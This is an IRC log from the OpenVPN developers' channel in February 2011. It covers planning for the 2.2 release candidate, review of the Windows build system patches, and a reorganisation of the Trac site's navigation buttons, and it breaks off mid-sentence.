-!- EO_ [debian-tor@gateway/tor-sasl/eo/x-78165100] has joined #openvpn-devel 11:39 <@cron2> im not sure there is anything in 2.2 that needs the new version 11:39 <@cron2> ipv6 in 2.3 will 11:40 <@cron2> dazo: who changed the requirement? anything useful in the commit msg? 11:40 <@dazo> I can't think of anyone else than James 11:41 * dazo don't pay too much attention to Windows at all, only when it delays releases 11:48 <+ecrist> we don't support windows 2k anymore 11:48 <+ecrist> fuck 'em 11:49 <@dazo> ecrist++ 11:51 <@dazo> mattock: you are aware of that we should merge in your patches to the build system, tag the git tree, make tarballs, rebuild on windows (to make sure commits are in a good shape) and *then* James can sign things? 11:52 <@cron2> :-) 11:53 <@dazo> If it had been a beta6 round, I wouldn't be so picky ... but this is a RC ... when we declare the RC solid/without any known issues ... we're release the stable release 11:53 <@cron2> ack 11:54 -!- krzee [krzee@openvpn/community/support/krzee] has left #openvpn-devel [] 11:54 -!- krzee [krzee@openvpn/community/support/krzee] has joined #openvpn-devel 11:54 -!- mode/#openvpn-devel [+v krzee] by ChanServ 11:55 <@cron2> (i'm a bit typing impaird - in the kitchen trying to help with dinner, IRC on iPad) 11:56 * dazo didn't know iPad was certified by Steve Jobs as a kitchen utility ... and neither that IRC was an approved application :-P 11:57 <+krzee> haha 11:57 <+krzee> it slices, it dices! 11:57 <@dazo> lol 11:57 <@cron2> iSSH is (and does v6!)a 11:57 <@dazo> :) 11:58 <@cron2> the screen keyboard takes some getting used to 11:58 <@dazo> I can believe that :) 12:00 * psha entering prophet mode 12:00 <@mattock> tadaa... 12:01 < psha> you'll either burn your dinner or break ipad! 12:01 * psha leaving prophet mode 12:01 < psha> computers and kitched are mutual exclusive 12:01 < psha> oops, meeting 12:02 <@cron2> emptying dishwasher... 12:02 <@mattock> dazo: why not just postpone the buildsystem patches until 2.2-final? 12:03 <@mattock> it'll take at least a couple of days to clean them up + time required to get them ACKd 12:04 <@cron2> rc should be identical to final except for bugfixes 12:04 * ecrist agrees with cron2 12:05 <@mattock> I think for code that's a good practice... but for the build system? Windows installer won't contain any code at all, and *NIX users won't use the new buildsystem 12:05 -!- jamesyonan [~jamesyona@c-76-120-71-74.hsd1.co.comcast.net] has joined #openvpn-devel 12:05 -!- mode/#openvpn-devel [+o jamesyonan] by ChanServ 12:05 <@dazo> mattock: I'm tempted to agree with you ... but we do change the code repository, including the beta2.2 branch due to where we have our build environment code 12:06 <@mattock> yeah, that's true 12:06 <@dazo> and so a tag must include your build changes 12:07 <@dazo> This is one of the core reasons, I would like to get windows building and wintap driver out of the the openvpn tree, to a separate tree 12:07 <@mattock> yep, that would help 12:07 <@mattock> will beta2.2 branch we dumped after 2.2-rc release? 12:07 <@cron2> but it will bring in lots ofnew complications 12:08 <@cron2> lk 12:08 <@cron2> argh 12:08 <@dazo> cron2: not necessarily so much 12:08 * dazo admits he might be naively optimistic, but he has big hope in that git submodule will solve that 12:08 <@dazo> but I do know that one challenge is the shared tun.[ch] code 12:09 <@mattock> I guess the meeting has now begun :) 12:09 <@mattock> topics here: https://community.openvpn.net/openvpn/wiki/Topics-2011-02-10 12:09 <+ecrist> to a degree, it's been going for ~4 hours 12:09 <@vpnHelper> Title: Topics-2011-02-10 – OpenVPN Community (at community.openvpn.net) 12:09 <@dazo> heh 12:10 <@dazo> ecrist: just unofficially ;-) 12:10 <@mattock> ecrist: the meeting never ends 12:10 <+ecrist> s/meeting/party 12:10 <@mattock> jamesyonan: we're thinking whether my buildsystem patches should be merged to beta2.2 branch before 2.2-rc release 12:10 <@mattock> I should be able to push the patches to the -devel mailinglist tomorrow evening, if necessary 12:11 <@jamesyonan> sounds good 12:11 <@mattock> however, I fear they will require changes, which will push back 2.2-rc release even further 12:12 <+ecrist> need to pay the piper at some point... 12:12 <@mattock> and the discussion on the ml probably takes a while, no matter what 12:12 <+ecrist> better, imho, to get it out of the way 12:14 <@dazo> mattock: I'll be as quick as possible getting those patches reviewed as best as I can ... if d12fk and hopefully Hartimer, or others here in IRC can have take a look, that would indeed improve the review speed 12:14 <@mattock> ok, that would be great! 12:14 <@dazo> however, this is the building environment, they don't need to be reviewed as "careful" as the openvpn code 12:15 <@mattock> the build system will need a few modifications to remove the last manual steps 12:15 <@mattock> even after my 5-10 patches 12:15 <@mattock> so, no release until buildsystem patches are merged? 12:15 < psha> do you expect that most of other windows users will use it? 12:16 < psha> or do they still need old buildsystem? 12:16 < psha> or windows users just download and install binary installer? 12:16 <@mattock> psha: personally, I don't think anybody will use it until the few remaining issues are fixed and the entire process is fully documented 12:16 <@dazo> the majority of windows users are binary users 12:16 <@mattock> for a good reason :) 12:16 <@dazo> :) 12:17 < psha> they is it important to merge it in main codebase? 12:17 <@dazo> developers will most likely use the new python stuff on windows ... and the autotools variant when cross compiling from other platforms 12:17 < psha> dazo suggestion about external tool is right to me 12:17 <@mattock> psha: you mean the submodule approach? 12:18 < psha> submodule is just tech detail :) ideologicaly it's external tool as i undestand 12:18 <@dazo> mattock and psha is talking about the same thing, in my eyes :) 12:19 < psha> so why not to have it as external and not push -rc in the future? 12:20 <@mattock> dazo: what side-effects would that have? 12:20 <@cron2> well, make it external, then - but make very good documentation how to get it etc. 12:20 <@mattock> or is this more a philosophical issue? 12:20 <@dazo> yeah, we need to rewrite some docs to match the new world order, so to say 12:20 < psha> main question is who is target audience? one build system or majority of windows users... 12:21 <@dazo> but basically ... it should be enough to clone the git windows-build tree, and then do git submodule init ; git submodule update ... and then you should get the openvpn source code in a separate directory which the build tool would use 12:22 <@dazo> so mattock, we do need to look closer at how the build tool will like that we move the root dir of the openvpn source code 12:22 <@mattock> dazo: it should work fine with a few modifications 12:22 < psha> it's currently in main tree? 12:22 <@mattock> it already changes directories 12:22 <@dazo> perfect! 12:23 <@mattock> and all dependencies are stored in $OPENVPN_BUILD_HOME/.. 12:23 <@dazo> I would say we should get the final 2.2 release out the door, and then we begin messing with separating out the python build stuff 12:23 <@mattock> e.g. lzo, openssl etc 12:23 <@mattock> the small gap between 2.2-rc and 2.2 would give me time to get the patches together 12:23 <@mattock> speaking of the gap... how long would it be? 12:24 <@mattock> there are no showstopper anymore 12:24 <@dazo> mattock: I'm talking about full separation first in 2.3 .... 2.2 is settling down, I don't want to change it too much, even though its just the build tool, before we carve 2.2 into a stone 12:24 <@mattock> ok 12:25 <@dazo> I would say we can let 2.2-RC run for 2-3 weeks ... depending on the download numbers 12:25 <@dazo> and if we don't have enough download numbers, we could do a weekly reminder on the mailing list ... that we would like to have it well tested asap 12:25 <@mattock> would my buildsystem stuff go to beta2.2? or should I rebase them to some other branch? 12:25 <+ecrist> mattock: it may be beneficial if you could make download stats available to devs/community somewhere 12:25 <@mattock> ecrist: I agree 12:26 <@dazo> mattock: it will go into beta2.2 ... and that will become a new master branch 12:26 <@mattock> I'll ask andrew about that 12:26 <@mattock> dazo: ok, good 12:26 <@dazo> when we're live ... I will also create a released branch, where we will merge in stuff from master in the future 12:26 <@dazo> and the master branch will become what bugfix2.1 and feat_misc in reality is today 12:27 <+krzee> +1 12:27 <@mattock> so, signing the installer, then? 12:27 <@mattock> and the release packages? 12:28 <@dazo> when git tree is tagged, with 2.2-RC, new tarballs created, windows package rebuilt ... then, signing and release 12:28 <@mattock> why rebuild the windows installer? 12:29 <@dazo> because we have new tarballs ... and to be sure they really do build ... that all commits needed are in the git tree 12:29 <@dazo> When 2.2-RC is released .... then we wait for reports, consider what we need to do in the beta2.2 branch ... tag as v2.2.0 ... new tarballs, rebuild, sign and release 12:29 <+ecrist> do we have release notes for 2.2 yet? 12:29 <@dazo> it's in the works 12:29 <+ecrist> ok 12:30 <@dazo> well, I meant ChangeLog ... but release notes, we should have that as well, on second thought 12:30 <@mattock> we should mention the --enable-password-save, but link to the latest ml discussion about that 12:30 <@mattock> or the same discussion will happen again 12:30 <@dazo> yeah 12:30 <@dazo> and we need to make aware of that 2.2-RC have the shortcut issue in start menu ... that needs to be fixed in 2.2 final 12:31 <@mattock> dazo: re: rebuilding installer... the code it contains is HEAD from beta2.2 branch. Does the tagging add anything to it? 12:31 <@dazo> your HEAD commit ID may not be the same as mine when I commit it to the official tree 12:32 <@dazo> in fact, it will not be the same ... so the commit tree which is signed with the tagging will not be the same 12:34 <@mattock> the windows installer won't contain any traces of git and should be exactly the same even after git tagging 12:34 <@mattock> so, if I'm not missing something, it (=installer) could be signed right now (if we want) 12:35 <@dazo> then how can I be sure you have not forgotten to send me one important patch, which we won't notice until someone tries to build it from the git tree after the release? 12:36 <@mattock> ok, I was under the impression that we were not going to include the buildsystem patches in 2.2-rc 12:37 <@dazo> Oh, I'm sorry if I was unclear there ... I want those patches into the tree before we release 2.2-RC 12:37 <@mattock> ok, now this starts to make sense :) 12:37 <@dazo> then we spin new tarballs, tag the tree, rebuild, sign and release 12:37 <@mattock> sounds like a plan 12:37 <@dazo> goodie! :) 12:38 <@mattock> jamesyonan: could you also review the buildsystem patches? I'd hate to have them break something in AS client build 12:39 <@mattock> I'll need to make some further modifications to more easily use prebuilt TAP drivers 12:39 <@mattock> currently it's a bit clunky 12:39 <@mattock> =partially manual 12:40 <@cron2> it would indeed be nice to say "USE_PREBUILT=1" and have the installer auto-download all that's missing 12:41 <@dazo> +1 12:41 <@dazo> but lets keep this feature on the side line until 2.2-RC is out :) 12:41 <@mattock> cron2: +1 for autodownloading 12:41 <@mattock> yep 12:42 <@mattock> so, I'll cleanup my git tree tomorrow, setup git email stuff and send the patches 12:42 <@mattock> and ask everybody kindly to accept my stuff, even if it's crappy ;) 12:43 <@dazo> heh :) 12:43 <@dazo> sounds like a plan :) 12:43 <@mattock> though it should not be too bad 12:43 <@mattock> that's 2.2-rc stuff, then 12:43 <@dazo> we'll just make you the maintainer of the new windows-build git tree when we separate it out ;-) 12:43 <@mattock> oh... forced labour never ends :P 12:44 <@mattock> ...if I had known what I know now... 12:44 <@cron2> regarding forced labour... does buildbot run t_client.sh nowadays? 12:44 <@dazo> heh 12:44 <@mattock> cron2: mmm... no... I intended to fix that, but got distracted 12:45 <@dazo> that's for the final 2.2 release :) 12:45 <@mattock> _but_ I promised to set that up after 2.2-rc release :) 12:45 <@mattock> also, none of the buildslaves up now, Win7 is a memory hog 12:45 <@mattock> and 2GB is not that much 12:45 <@mattock> (on my server) 12:46 <@mattock> I think we should discuss the openvpn.net -> Trac document migration for a while 12:46 <@mattock> what do you think? 12:46 <@mattock> so, it's ok for Francis and others 12:47 * dazo is all in favour of doing that 12:47 <@mattock> but Francis asked if I could add "Hosted service" and "Access server" buttons to the Trac button row (next to "Wiki", "Downloads" etc) 12:48 <@mattock> I think that's a fair deal 12:48 * cron2 trades against IPv6 on www.openvpn.net *duck* 12:48 <@mattock> he was worried about traffic getting diverted from openvpn.net to Trac without a clear way to get "exposed" on the commercial products 12:48 <@dazo> well, at least a proper and clear backlink to the commercial side of OpenVPN 12:49 <@mattock> I tend to agree with him 12:49 <@cron2> I'm fine with that - we now have a nice link from commercial->community, so it's only fair to have a link back 12:49 <@mattock> excellent! 12:49 <@cron2> of course community is more advanced regarding IPv6, no surprise here :-) 12:49 <@mattock> this brings another issue: there are too many buttons in the Trac button row already :) 12:49 <@dazo> we probably should avoid adding separate "hosted openvpn services" and "access server" as separate links ... but something which indicates the commercial offerings are really appropriate in my eyes 12:49 <+krzee> +1 12:50 < psha> why not to export 'static' docs to commercial site regulary (daily, weekly) from Trac? 12:50 < psha> so official part is still openvpn.net? 12:50 <@mattock> psha: that's correct 12:50 <@mattock> and yes, migration would work, if it can be done automatically 12:50 < psha> i've just took a brief look at trac and it seem be capable of RST markup 12:51 < psha> which has extermly good support in part of export formats 12:51 <@mattock> hmm, never heard of that 12:51 < psha> so take RST source from trac, compile it to HTML and place on openvpn.net 12:51 <@dazo> well, on the official pages, only released versions should be reflected ... and by separating clearer on what's community edition and what's commercial version ... we might make support easier on ML and #openvpn 12:51 < psha> http://trac.edgewall.org/wiki/WikiRestructuredText 12:51 <@vpnHelper> Title: WikiRestructuredText – The Trac Project (at trac.edgewall.org) 12:51 < psha> dazo: good point 12:51 <@dazo> it's enough of people who download the AS client and believe they're using the community edition 12:52 <@mattock> dazo: even now? 12:52 < psha> i'm always overlook managment questions :( 12:53 <@mattock> I understood people got confused when the "Client software" link was on openvpn.net... but now it's harder to get confused :) 12:53 <@dazo> mattock: It has improved ... but I've not paid that much attention to #openvpn lately ... krzee and ecrist may have a better idea 12:53 <@mattock> mkay 12:53 <+ecrist> what did I do? 12:53 <@mattock> ecrist: nothing (this time) :P 12:54 <@mattock> so, a single button for AS + hosted service would be better? 12:54 <+ecrist> yes 12:54 -!- s7r [~s7r@89.39.174.74] has joined #openvpn-devel 12:54 <+ecrist> I thinkn so 12:54 <@mattock> "Products"? 12:54 <@dazo> Can even be "Commercial version" 12:54 < psha> dazo: +1 12:54 <+ecrist> Commercial Products 12:55 <@dazo> yeah, that's what I meant :) 12:55 <@mattock> ecrist: +1 12:55 < psha> ecrist: +2 12:55 < psha> :) 12:55 <+ecrist> but that's what I said. 12:55 <+ecrist> :P 12:55 < s7r> <connect></connect> tags are available only when using AS ? don't work with community project? 12:55 <+krzee> theres nothing on the front page that would make me think there is 2 options, a free version where i need to be a tech, and a paid version where i dont 12:55 <@dazo> s7r: that's for #openvpn 12:55 <@dazo> (and we're having a meeting here now) 12:55 <@mattock> krzee: true 12:56 <@mattock> mind if I truncate the "Documentation" button "Docs"? 12:56 <+krzee> mattock, honestly i think youd get more sales if that was clear on the front page 12:56 <@mattock> krzee: oh, you mean openvpn.net? 12:56 <+krzee> yes 12:56 <+krzee> mattock, people end up saying things like "I'll paypal you X if you set this up for me" 12:56 < psha> mattock: better shrink 'Browse Source' to 'Source' 12:57 <@mattock> psha: good idea 12:57 <@mattock> or "Code"? 12:57 <+ecrist> Code works 12:57 <+ecrist> Docs is OK, too 12:57 < psha> sure 12:57 <@mattock> it's just that the Trac button row will start looking silly if it wraps on two lines 12:57 <@dazo> mattock: Docs sounds find to me .... I would probably say "Source", "Code" is more ambiguous 12:58 <@mattock> "Docs" + "Source" 12:58 <@mattock> and "Commercial Products" 12:58 <@dazo> mattock: can we take out "Timeline", I don't beleive that's used by many at all 12:58 <@dazo> $$$ Products? 12:58 <@mattock> dazo: fine with me, it's not that useful 12:58 <@mattock> l33t 12:59 <+ecrist> it's where RSS feed is found... 12:59 <@dazo> :) 12:59 < psha> mattock: Search may be removed 12:59 <@mattock> note that removing stuff from button row does not disable anything, except the link 12:59 <@dazo> yeah, but the RSS don't use that link on the toolbar, I belive ;-) 12:59 < psha> there is search button in header 12:59 <@mattock> psha: oh yes, that's true 12:59 <@dazo> View Tickets -> Tickets 12:59 < psha> dazo: lot of one letter buttons ;) 13:00 <@dazo> Downloads -> Get IT! 13:00 < psha> D, W, F, ... 13:00 <@dazo> heh 13:00 < psha> Get IT For Free Now!!11 13:00 < psha> Download is really better 13:00 <+ecrist> FrEe VeRsIoN1!!!1 13:01 <+ecrist> add some camel case for fun 13:01 < psha> mattock: Timeline is very useful feature of trac 13:01 <@mattock> I'll try to visualize the new button row 13:01 <+ecrist> mattock: also, some CSS is screwed up, at least for me, with the buttons 13:01 <@dazo> psha: but we don't use that feature actively, nor do we promote it ... trac got it's own history ... and git is redirected to sf.net 13:02 < psha> but really you'd better try several variants and descide whats better when you see them 13:02 <@dazo> :) 13:02 < psha> dazo: that's trac own history :) but gathered in one place 13:03 <@mattock> | Commercial Products | Docs | Wiki | Forums | Timeline | Roadmap | Source | View Tickets | New Ticket | Download | 13:03 <@mattock> maybe swapping those around a little 13:03 <+ecrist> do we use roadmap? 13:03 * dazo don't see 'Roadmap' on todays line 13:04 < psha> mattock: View Tickets -> Tickets? 13:04 < psha> as alreadyy suggested by dazo 13:04 <@mattock> oh, I thought about that too, but missed dazo's suggestion 13:05 <@mattock> why not 13:05 <@dazo> Or "Bugs"? 13:05 <@mattock> | Commercial Products | Docs | Wiki | Forums | Timeline | Roadmap | Source | Tickets | New Ticket | Download | 13:05 <@mattock> is it just bugs? 13:05 <@mattock> feature requests? 13:05 < psha> dazo: yea, and 'New Bug' button ;) 13:05 <@cron2> we only have old bugs 13:05 < psha> or 'Add Bug' 13:06 < psha> but really they are not bugs 13:06 <@dazo> no, not necessarily only bugs ... but it's shorter and states clearer what we really wants there 13:06 < psha> dazo: you really want bugs there?! :) 13:06 <@mattock> dazo: good point... 13:06 <@dazo> rather in a bug tracker than in the code ;-) 13:07 <@mattock> what if somebody wants to file a feature request? 13:07 <@mattock> is it mailing lists or forums then? 13:07 <@mattock> "Bugs" would clearly state what we want 13:07 <@mattock> "Ticket" does not 13:07 <@dazo> yeah, I would say so ... and we can create a "bug ticket" on features we decide to implement 13:07 <@dazo> to track them 13:08 <@mattock> is it "New bug", "Old bug" or "Add bug"? 13:08 < psha> Issues as in googlecode? 13:08 * dazo votes for "New bug" 13:09 <@mattock> psha: issue is not as clear as bug... it can be interpreted as a support request I think 13:09 <@dazo> "Add bug" sounds interesting, and more like a FAQ itme .... "How to add a bug to OpenVPN? Write crappy code!" 13:10 <@mattock> "New Bug" sounds a bit funny, but I'll give it a +0,5 13:10 < psha> mattock: i'm not native speaker so i don't see such differencies... 13:10 <@mattock> "Report bug"? 13:10 < psha> dazo: that's was a joke :) New Bug sounds less crappy 13:11 < psha> however best one is Report Bug 13:11 < psha> but it's too long... 13:11 <@mattock> well, I don't think so... the button row would be this: 13:11 <@mattock> | Commercial Products | Docs | Wiki | Forums | Timeline | Roadmap | Source | Bugs | Report Bug | Download | 13:11 <@mattock> I think that would fit 13:11 <@mattock> and if timeline can be removed... 13:12 <@dazo> Timeline and Roadmap can go out, IMO 13:12 <@dazo> we can rather add them as separate links in a wiki page later on 13:12 <@mattock> we can always put links to the Wiki pages 13:12 <@mattock> :) 13:12 < psha> dazo: +0.5 mattock: +0.5 (i'm fair!) 13:12 <@mattock> | Commercial Products | Docs | Wiki | Forums | Source | Bugs | Report Bug | Download | 13:13 <@mattock> that's neat 13:13 <@dazo> that even fits into one line in my IRC client :-P 13:13 <@mattock> acceptable for everyone? 13:13 <@dazo> ACK 13:13 <+ecrist> ack 13:13 < psha> ack 13:13 <+ecrist> remove the timeline tab, but the functionality needs to stay 13:13 <@mattock> dazo: in a hurry? 13:13 < psha> ecrist: it's there 13:13 <@mattock> ecrist: it will, no functionality is affected 13:14 < psha> append timeline/ and you'll get it 13:14 < psha> same for roadmap 13:14 <+ecrist> ok 13:14 <@cron2> ok, need to leave -> f00d 13:14 <@mattock> cron2: bye! 13:14 < psha> cron2: enjoy 13:14 <@mattock> dazo: do you still have some time? 13:14 <@dazo> mattock: I'm at home now, so I'm fine right now ... but I do have plenty of stuff to do besides this meeting too :) 13:14 <+krzee> tickets are only bugs tho? 13:15 <@mattock> krzee: yep... I think forums/mailing lists/IRC are more suited for feature requests (if that's what you mean) 13:15 <@dazo> we're trying to "resize" it a little bit ... feature requests will be discussed in ML or forums, and things we want to implement, we add as a "bug" 13:16 <@mattock> krzee: I added your topics here: https://community.openvpn.net/openvpn/wiki/Topics-2011-02-10 13:16 <@vpnHelper> Title: Topics-2011-02-10 – OpenVPN Community (at community.openvpn.net) 13:16 <+krzee> | Commercial Products | Docs | Wiki | Forums | Timeline | Source | Tickets | New Ticket | Download | 13:17 <@mattock> I think bug is better, if we can accept that there are _some_ non-bugs there 13:17 <@mattock> e.g. our to be implemented features 13:17 <@dazo> agreed 13:17 <+krzee> ok 13:18 <@mattock> "Bug" should direct users to only file bug reports there 13:18 <@dazo> janjust cleaned up stuff there today ... and he found several "bugs" which was more support tickets 13:18 <@mattock> krzee: I'll respond to this guy: https://forums.openvpn.net/topic7615.html 13:18 <@vpnHelper> Title: OpenVPN Support Forum sctp implementation in openvpn : Wishlist (at forums.openvpn.net) 13:18 <@mattock> ask him to mail to openvpn-devel 13:18 <+krzee> and isnt Roadmap just something on the wiki? or is the idea that by putting it there we'll get max feedback on it? 13:19 < psha> krzee: Roadmap is summary of open bugs 13:19 <@mattock> you mean Trac's roadmap feature, or the Roadmap page? 13:19 <@dazo> Roadmap in the toolbar is more a planning overview, to see the progress of milestones and such things in Trac 13:20 <@dazo> Roadmap on the man wiki page, is what we would like some feedback on 13:20 <@mattock> this one: https://community.openvpn.net/openvpn/wiki/RoadMap 13:20 <@vpnHelper> Title: RoadMap – OpenVPN Community (at community.openvpn.net) 13:22 <@mattock> krzee: this one is for d12fk: https://forums.openvpn.net/topic7623.html 13:22 <@vpnHelper> Title: OpenVPN Support Forum Windows auto-connect when starting gui : Wishlist (at forums.openvpn.net) 13:23 <@mattock> shall we postpone the "PPP gateway" stuff? 13:24 <@dazo> Yeah, we can do that ... that's v2.3 stuff anyway 13:25 <@mattock> ok 13:25 <@mattock> then I think we're done 13:25 <@mattock> I'll start pushing out the patches tomorrow 13:25 <@mattock> and edit the Trac button row 13:26 <@mattock> when 2.2 stuff is behind us, we can think of the documentation migration 13:26 <@mattock> FAQ should probably be the first one 13:26 <@dazo> ack 13:26 -!- s7r [~s7r@89.39.174.74] has left #openvpn-devel [] 13:26 <@dazo> mattock: please bug me as much as you want to get git send-email setup 13:27 <@dazo> I'll be at a Developers Conference tomorrow (and probably some time on Saturday), but I'll try to be online as much as possible 13:27 <@mattock> dazo: I will, if I have any issues... but now that I've tackled building OpenVPN on Windows there's no stopping me ;) 13:27 <@dazo> hehe :) 13:27 <@dazo> I'm sure git stuff will be easier :) 13:27 < psha> Mattock The Unstoppable 13:27 <@mattock> it will 13:27 <@mattock> psha: ack 13:27 < psha> if not on windows :) 13:28 <@mattock> Windows could only delay, not stop me :) 13:28 <@mattock> it's like walking in deep mud 13:28 <@mattock> anyways, I'll write the summary tomorrow 13:29 <@dazo> thx a lot! This was yet another good meeting! 13:29 <@mattock> people get some extra time to test "openvpn-2.2-rc-install-preview-5.exe" 13:29 <@mattock> agreed! 13:29 <@mattock> dazo: have fun at the developer conference! 13:29 <@dazo> thx! I'll do my best :) 13:30 <@dazo> [OT] http://www.youtube.com/watch?v=AC25P2RxJ_0 ... Top Gear going crazy .... time for a break after this meeting :) 13:30 <@vpnHelper> Title: YouTube - Top Gear Crashes and Complications from Series 14 Part 2 (at www.youtube.com) 13:36 -!- dazo is now known as dazo_afk 13:56 -!- mattock [~samuli@openvpn/corp/admin/mattock] has quit [Ping timeout: 255 seconds] 14:54 -!- jamesyonan_ [~jamesyona@ec2-50-16-156-186.compute-1.amazonaws.com] has joined #openvpn-devel 14:54 -!- mode/#openvpn-devel [+o jamesyonan_] by ChanServ 14:54 -!- jamesyonan [~jamesyona@c-76-120-71-74.hsd1.co.comcast.net] has quit [Read error: Connection reset by peer] 14:54 -!- jamesyonan__ [~jamesyona@c-76-120-71-74.hsd1.co.comcast.net] has joined #openvpn-devel 14:54 -!- mode/#openvpn-devel [+o jamesyonan__] by ChanServ 14:55 -!- jamesyonan [~jamesyona@ec2-50-16-156-186.compute-1.amazonaws.com] has joined #openvpn-devel 14:55 -!- mode/#openvpn-devel [+o jamesyonan] by ChanServ 14:55 -!- jamesyonan__ [~jamesyona@c-76-120-71-74.hsd1.co.comcast.net] has quit [Read error: Connection reset by peer] 14:55 -!- jamesyonan___ [~jamesyona@c-76-120-71-74.hsd1.co.comcast.net] has joined #openvpn-devel 14:55 -!- mode/#openvpn-devel [+o jamesyonan___] by ChanServ 14:58 -!- jamesyonan_ [~jamesyona@ec2-50-16-156-186.compute-1.amazonaws.com] has quit [Ping timeout: 240 seconds] 14:59 -!- jamesyonan [~jamesyona@ec2-50-16-156-186.compute-1.amazonaws.com] has quit [Ping timeout: 240 seconds] 14:59 -!- jamesyonan___ is now known as jamesyonan 15:48 -!- psha [~psha@213.208.162.69] has quit [Read error: No route to host] 15:52 -!- psha [~psha@213.208.162.69] has joined #openvpn-devel 16:02 -!- jamesyonan_ [~jamesyona@ec2-50-16-156-186.compute-1.amazonaws.com] has joined #openvpn-devel 16:02 -!- mode/#openvpn-devel [+o jamesyonan_] by ChanServ 16:02 -!- jamesyonan [~jamesyona@c-76-120-71-74.hsd1.co.comcast.net] has quit [Read error: Connection reset by peer] 16:02 -!- jamesyonan__ [~jamesyona@c-76-120-71-74.hsd1.co.comcast.net] has joined #openvpn-devel 16:02 -!- mode/#openvpn-devel [+o jamesyonan__] by ChanServ 16:06 -!- jamesyonan_ [~jamesyona@ec2-50-16-156-186.compute-1.amazonaws.com] has quit [Ping timeout: 245 seconds] 16:13 -!- krzee [krzee@openvpn/community/support/krzee] has quit [Remote host closed the connection] 16:17 -!- krzee [krzee@hemp.ircpimps.org] has joined #openvpn-devel 16:17 -!- krzee [krzee@hemp.ircpimps.org] has quit [Changing host] 16:17 -!- krzee [krzee@openvpn/community/support/krzee] has joined #openvpn-devel 16:17 -!- mode/#openvpn-devel [+v krzee] by ChanServ 17:06 -!- psha [~psha@213.208.162.69] has quit [Quit: leaving] 17:20 -!- krzee [krzee@openvpn/community/support/krzee] has quit [Ping timeout: 240 seconds] 18:12 -!- krzee [krzee@hemp.ircpimps.org] has joined #openvpn-devel 18:12 -!- krzee [krzee@hemp.ircpimps.org] has quit [Changing host] 18:12 -!- krzee [krzee@openvpn/community/support/krzee] has joined #openvpn-devel 18:12 -!- mode/#openvpn-devel [+v krzee] by ChanServ 18:23 -!- krzee [krzee@openvpn/community/support/krzee] has quit [Ping timeout: 240 seconds] 18:24 -!- krzee [krzee@openvpn/community/support/krzee] has joined #openvpn-devel 18:25 -!- mode/#openvpn-devel [+v krzee] by ChanServ --- Log closed Thu Feb 10 21:22:13 2011 --- Log opened Thu Feb 10 21:22:18 2011 21:22 -!- ecrist [~ecrist@216.17.68.153] has joined #openvpn-devel 21:22 -!- Irssi: #openvpn-devel: Total of 17 nicks [7 ops, 0 halfops, 0 voices, 10 normal] 21:22 -!- mode/#openvpn-devel [+v ecrist] by ChanServ 21:22 -!- Irssi: Join to #openvpn-devel was synced in 44 secs 21:23 -!- EO_ [debian-tor@gateway/tor-sasl/eo/x-78165100] has quit [Ping timeout: 240 seconds] 21:39 -!- EO_ [debian-tor@gateway/tor-sasl/eo/x-78165100] has joined #openvpn-devel 22:01 -!- krzie [krzee@hemp.ircpimps.org] has joined #openvpn-devel 23:30 -!- jamesyonan__ [~jamesyona@c-76-120-71-74.hsd1.co.comcast.net] has quit [Quit: jamesyonan__] --- Day changed Fri Feb 11 2011 01:23 -!- psha [~psha@213.208.162.69] has joined #openvpn-devel 01:30 -!- mattock [~samuli@openvpn/corp/admin/mattock] has joined #openvpn-devel 01:30 -!- mode/#openvpn-devel [+o mattock] by ChanServ 01:52 < psha> mattock: good morning 02:19 <@mattock> psha: good morning to you too! 03:33 <@mattock> proXPN guys responded and took the GPLv2 violation seriously 03:33 <@mattock> I'm trying to get them to join the project in some role 03:34 <@mattock> apparently they have only modified Tunnelblick, not OpenVPN itself 03:48 -!- dazo_afk is now known as dazo 04:05 -!- dazo is now known as dazo_afk 04:18 -!- d12fk [~heiko@vpn.astaro.de] has quit [Remote host closed the connection] 04:21 <@mattock> responded to this guy: https://forums.openvpn.net/post9664.html 04:21 <@vpnHelper> Title: OpenVPN Support Forum sctp implementation in openvpn : Wishlist (at forums.openvpn.net) 04:28 -!- d12fk [~heiko@2a01:198:4d7:1128:21f:c6ff:fe44:aec8] has joined #openvpn-devel 04:28 -!- mode/#openvpn-devel [+o d12fk] by ChanServ 04:39 <@mattock> new, improved Trac button row: https://community.openvpn.net/openvpn/wiki 04:39 <@vpnHelper> Title: OpenVPN Community (at community.openvpn.net) 04:39 <@mattock> very, very compact 04:39 <@mattock> me like 04:48 -!- janjust [~janjust@ardeche.nikhef.nl] has joined #openvpn-devel 04:48 -!- janjust [~janjust@ardeche.nikhef.nl] has quit [Changing host] 04:48 -!- janjust [~janjust@openvpn/community/support/janjust] has joined #openvpn-devel 04:48 -!- mode/#openvpn-devel [+v janjust] by ChanServ 04:52 < psha> nice 04:52 < psha> much better then before 04:52 < psha> hm, Report Bug button missing? 04:55 <@mattock> ok, now for lunch and then to git cleanup 04:55 <@mattock> psha: I see it 04:55 <@mattock> next to "Bugs" 04:55 <@mattock> ... perhaps a browser cache thingy? 04:56 <@mattock> if not, I can restart Apache 04:59 < psha> wait a bit 04:59 < psha> force reloading did not helped 05:00 < psha> wget thinks same 05:00 < psha> $ wget -qO- https://community.openvpn.net/openvpn | grep 'Report' 05:00 < psha> $ 05:00 <@vpnHelper> Title: OpenVPN Community (at community.openvpn.net) 05:02 <+janjust> psha, mattock : what am I supposed to see on the site? 05:04 <+janjust> BTW, the wget returns nothing for me either 05:04 < psha> janjust: that was test for missing button 05:04 < psha> mattock: maybe you've not reloaded trac config? 05:05 < psha> or it shows only to registered users? 05:05 <+janjust> psha: yes, if I log in on trac I see a button "Report Bug" 05:05 <+janjust> if I log out, it's gone 05:05 < psha> yes, trac show it only for users 05:05 < psha> i've checked on mine 05:06 < psha> mattock: maybe to force add this button? 05:06 < psha> so even new users will see this ability? 05:12 -!- psha [~psha@213.208.162.69] has quit [Quit: leaving] 05:37 -!- dazo_afk is now known as dazo 05:48 <@mattock> janjust, psha: ok, I'll fix that 05:58 <@mattock> oh yes, there's no problem, actually... users are required to login before being able to file a bug report 05:58 <@mattock> that's intentional 06:03 < Dark-Fx> mattock: I think he'd like to see the button redirect to the login page first then if not logged in 06:04 < Dark-Fx> I could be wrong though 06:07 <@mattock> dark-fx: that's a good idea... not sure how to do it in Trac, though 06:08 <@mattock> each button has a single URL it points to 06:08 <@mattock> so, some detection would have to happen when that URL is loaded 06:09 <@mattock> detection as in "is the user logged in already?" 06:20 <+janjust> talking about users logging in: I've noticed something annoying about the http://forums.openvpn.net links in #openvpn 06:20 <@vpnHelper> Title: OpenVPN Support Forum OpenVPN Support Forum (at forums.openvpn.net) 06:20 <+janjust> if an 